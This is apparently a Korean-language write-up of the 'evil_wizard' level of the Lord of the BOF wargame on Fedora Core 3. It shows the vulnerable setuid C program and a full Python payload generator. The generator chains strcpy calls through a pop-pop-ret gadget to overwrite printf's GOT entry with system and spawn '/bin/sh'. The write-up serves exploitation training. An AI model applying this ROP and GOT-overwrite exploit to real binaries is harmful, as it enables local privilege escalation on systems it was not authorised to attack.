[FC3]Level4. evil_wizard

 

got overwriting

/*
  The Lord of the BOF : The Fellowship of the BOF
  - evil_wizard
  - Local BOF on Fedora Core 3
  - hint : GOT overwriting
*/

// magic potion for you
void pop_pop_ret(void)
{
  asm("pop %eax");
  asm("pop %eax");
  asm("ret");
}

int main(int argc, char *argv[])
{
  char buffer[256];
  char saved_sfp[4];
  int length;

  if(argc < 2){
    printf("argv error\n");
    exit(0);
  }

  // for disturbance RET sleding
  length = strlen(argv[1]);

    // healing potion for you
    setreuid(geteuid(), geteuid());
    setregid(getegid(), getegid());

  // save sfp
  memcpy(saved_sfp, buffer+264, 4);

  // overflow!!
  strcpy(buffer, argv[1]);

  // restore sfp
  memcpy(buffer+264, saved_sfp, 4);

    // disturbance RET sleding
    memset(buffer+length, 0, (int)0xff000000 - (int)(buffer+length));

  printf("%s\n", buffer);
}

got overwrite가 힌트이니 이를 이용하여 풀면 될 것 같다.

strcpy로 printf@got 주소에 system주소로 덮어씌워 printf를 실행 할때 system이 실행되도록 할 것이다.

준비물 :

  • ppr : 0x804854f
  • strcpy@plt : 0x8048494
  • printf@plt : 0x8048424
  • printf@got : 0x8049884
  • system : 0x7507c0
  • “/bin/sh” : 0x833603

여기서 중요한 것은 strcpy의 함수 정의를 알아볼 필요가 있다.

char *strcpy(char *dest, const char *src);

src와 dest가 포인터이다. 즉, 주소값에 데이터를 복사한다. 따라서 printf@got에 system함수 주소 0x7507c0를 넣을려면 0x00, 0x75, 0x07, 0xc0이 들어있는 주소를 찾아서 1바이트씩 복사해야 한다.

0x00 : 0x8048138

0x75 : 0x80482c8

0x07 : 0x8048148 + 0xc = 0x8048154

0xc0 : 0x8048414 + 0xc = 0x8048420

import struct

p32 = lambda x : struct.pack("<L", x)

strcpy_plt = 0x8048494
ppr = 0x804854f
printf_plt = 0x8048424
printf_got = 0x8049884
system_addr = [0x8048420, 0x8048154, 0x80482c8, 0x8048138]
binsh = 0x833603

payload  = "A"*264  # dummy
payload += "B"*4  # sfp

for x in range(4):
  payload += p32(strcpy_plt)
  payload += p32(ppr)
  payload += p32(printf_got+(x))
  payload += p32(system_addr[x])

payload += p32(printf_plt)
payload += "C"*4
payload += p32(binsh)

print payload

evil_wizard / get down like that